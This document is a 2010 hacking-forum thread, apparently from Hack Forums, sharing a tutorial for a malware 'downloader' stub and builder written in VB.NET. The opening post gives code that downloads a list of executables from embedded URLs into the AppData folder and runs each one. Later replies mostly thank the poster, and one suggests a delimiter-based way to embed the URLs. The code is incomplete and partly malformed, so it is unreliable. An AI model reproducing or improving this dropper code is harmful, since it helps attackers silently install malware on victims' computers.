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Thread: [\[TUT\] Unlimited File Downloader](#)

StarZ - April 18, 2010, 9:59 pm

Hey!

I'm sure most of you have seen Nathan72389's "Dark Downloader". (<https://hackforums.net/showthread.php?tid=125001>)

Here is a method on how to accomplish the same thing.

In the Stub, we do this:

```
Code For i = 0 To int - 1
    My.Computer.Network.DownloadFile(URL(i), Environment.SpecialFolder.ApplicationData &
"\File " & i & ".exe")
    Process.Start(Environment.SpecialFolder.ApplicationData & "\File " & i & ".exe")
Next
as where URL() is your String Array.
```

In the builder, We Declair out settings.

```
Code dim FS1 as string = "@URU@"
dim FS2 as string = "@URL@"
dim URLS() as string
dim Stub as string = Nothing
dim PutS as string = Nothing
dim Int as Integer = 0
When we add a URL, We must add to our Integer As so:
Code Int += 1
When we build we put this first:
Code Puts = Int & FS1 & URLS
For i = 0 to Listview1.items.count - 1
    URLS = URLS & FS2 & Listview1.items(i)
    Puts = puts & FS1 & URLS(i)
next
And you are done!
```

NOTE: I did not go into making the builder to far. There are many tutorials on Hack Forums that cover that...

SIM-209986 - April 19, 2010, 12:34 am

A Little incomplete but anyway thanks for this.

The Old Warrior - April 19, 2010, 1:58 pm

help me alot :)

Thanks for this Lil Code.

PAGMAN - April 19, 2010, 3:14 pm

Pretty cool. Looks neat and simple.

Mr. Mischief - May 28, 2010, 12:33 pm

Thank thank thank thank you
been looking 4 this 4 a while
its gonna complete my ultimate downloader of doom!

mgcsupport747 - July 8, 2010, 8:22 am

tak ser rimelig nice ud:)

ananui81 - September 7, 2010, 3:00 pm

Very useful ? Thank you

s00ky - September 9, 2010, 12:54 am

thank you man! this is verry good

Neroxan - September 9, 2010, 1:37 am

or, you could write the url into your file when building it, use a delimiter in between all of the urls and use a simple split to get the return of how many total files there are and their url's to be downloaded from...

StarZ - September 9, 2010, 4:33 am

Yeah, This is not the best method by far. Just a simple method i used.

MrCreepy - September 24, 2010, 2:49 am

thx budyy its helps me alot

sethboy66 - October 15, 2010, 12:24 am

good method but ill stick to my own method for now

jack1 - October 15, 2010, 3:41 am

very good Tutorial ,

thanks.

665 - October 25, 2010, 2:37 am

For which Visual Basic version does this work on ?

KINGz - October 26, 2010, 11:52 am

thanks dude u have to add a few things but nice

Devilzhangout - October 26, 2010, 12:17 pm

for what it is used?? pls explain